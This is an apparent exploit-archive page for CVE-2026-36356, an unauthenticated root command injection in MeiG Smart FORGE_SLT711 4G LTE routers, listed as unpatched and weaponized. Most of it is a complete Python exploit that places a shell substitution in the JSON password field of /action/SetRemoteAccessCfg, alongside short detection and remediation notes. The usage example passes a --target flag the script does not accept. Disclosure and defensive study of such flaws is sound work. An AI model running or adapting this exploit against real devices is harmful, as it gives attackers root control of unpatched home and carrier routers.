PoC Archive PoC Archive
Critical CVE-2026-36356 unpatched

MeiG Smart FORGE_SLT711 GoAhead Unauthenticated OS Command Injection (CVE-2026-36356)

by Daniil Gordeev · 2026-07-05

Severity
Critical
CVE
CVE-2026-36356
Category
network
Affected product
MeiG Smart FORGE_SLT711 4G LTE CPE (GoAhead web server)
Affected versions
Devices running the affected GoAhead-based firmware
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05-03
Author / ResearcherDaniil Gordeev
CVE / AdvisoryCVE-2026-36356
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsmeig-smart, 4g-lte-cpe, router, command-injection, goahead, unauthenticated, root, cwe-78, cwe-306
RelatedN/A

Affected Target

FieldValue
Software / SystemMeiG Smart FORGE_SLT711 4G LTE CPE (GoAhead web server)
Versions AffectedDevices running the affected GoAhead-based firmware
Language / PlatformPython PoC
Authentication RequiredNo
Network Access RequiredYes (HTTP to device management interface)

Summary

The GoAhead web server bundled with MeiG Smart FORGE_SLT711 4G LTE CPE devices exposes an unauthenticated HTTP endpoint, /action/SetRemoteAccessCfg, that interpolates user-controlled JSON input into a shell command without sanitization. A single unauthenticated POST request executes arbitrary commands as root, due to two independent root causes: a missing authentication route entry, and an unsafe sprintf()-to-system() construction in the request handler.


Vulnerability Details

Root Cause

The /action/SetRemoteAccessCfg route is missing from the authentication-required route list, and its handler builds a shell command via sprintf() from unsanitized JSON fields before passing it to system().

Attack Vector

  1. Send an unauthenticated POST request to /action/SetRemoteAccessCfg on the target device.
  2. Include a JSON field containing shell metacharacters and a command payload.
  3. The GoAhead handler formats this into a shell command via sprintf() and executes it via system() as root.

Impact

Unauthenticated remote code execution as root on the affected 4G LTE CPE device.


Environment / Lab Setup

Target:   MeiG Smart FORGE_SLT711 device with the vulnerable GoAhead firmware
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See poc_rce.py in this folder.

1
python3 poc_rce.py --target http://<device-ip> --cmd id

Sends a crafted unauthenticated POST request to /action/SetRemoteAccessCfg to achieve root command execution on the device.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected root-level command execution on the CPE device
  • Anomalous POST requests to /action/SetRemoteAccessCfg from unauthenticated sources

Remediation

ActionDetail
Primary fixVendor firmware update adding authentication to the route and eliminating the unsafe sprintf()->system() construction
Interim mitigationRestrict management-interface access to trusted networks only; disable remote access configuration features if not required

References


Notes

Mirrored from https://github.com/totekuh/CVE-2026-36356 on 2026-07-05.

poc_rce.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
# Exploit Title: MeiG Smart FORGE_SLT711 GoAhead /action/SetRemoteAccessCfg - Unauthenticated OS Command Injection
# Date: 2026-05-03
# Exploit Author: Daniil Gordeev
# Vendor Homepage: http://www.meigsmart.com
# Software Link: N/A (firmware distributed via carrier channels)
# Version: Firmware MDM9607.LE.1.0-00110-STD.PROD-1 (likely all firmware versions of this product line)
# Tested on: MeiG FORGE_SLT711 (Ortel 4G LTE CPE), Qualcomm MDM9607, Linux 3.18.48
# CVE: CVE-2026-36356
"""
Unauthenticated RCE — MeiG FORGE_SLT711 (Ortel 4G LTE CPE)
GoAhead /action/SetRemoteAccessCfg OS command injection

Vuln:  JSON "password" field → sprintf("echo root:\"%s\"|chpasswd") → system()
Auth:  None (endpoint missing from route.txt auth list)
Root:  Commands execute as uid=0(root)
Type:  Blind — output not in HTTP response, use --cmd "cmd > /tmp/out" to exfil

Discovered: 2026-02-21
Tested on:  FW MDM9607.LE.1.0-00110-STD.PROD-1
"""

import argparse
import json
import sys
import urllib.request
import urllib.error

def exploit(ip: str, cmd: str, port: int = 80, timeout: int = 10) -> bool:
    url = f"http://{ip}:{port}/action/SetRemoteAccessCfg"
    payload = json.dumps({"password": f"$({cmd})"})

    req = urllib.request.Request(
        url,
        data=payload.encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read().decode()
            data = json.loads(body)
            if data.get("retcode") == 0:
                print(f"[+] retcode:0 — command executed as root")
                return True
            else:
                print(f"[-] Unexpected response: {body}")
                return False
    except urllib.error.URLError as e:
        print(f"[-] Connection failed: {e}")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def main():
    p = argparse.ArgumentParser(
        description="MeiG SLT711 GoAhead unauthenticated RCE (blind)",
        epilog="Example: %(prog)s --ip 192.168.1.1 --cmd 'id > /tmp/out'",
    )
    p.add_argument("--ip", default="192.168.1.1", help="Target IP (default: 192.168.1.1)")
    p.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
    p.add_argument("--cmd", required=True, help="Command to execute as root (blind, no output returned)")
    p.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds (default: 10)")
    args = p.parse_args()

    print(f"[*] Target:  {args.ip}:{args.port}")
    print(f"[*] Command: {args.cmd}")
    print(f"[*] Payload: $({{cmd}}) inside password field")

    ok = exploit(args.ip, args.cmd, args.port, args.timeout)
    sys.exit(0 if ok else 1)

if __name__ == "__main__":
    main()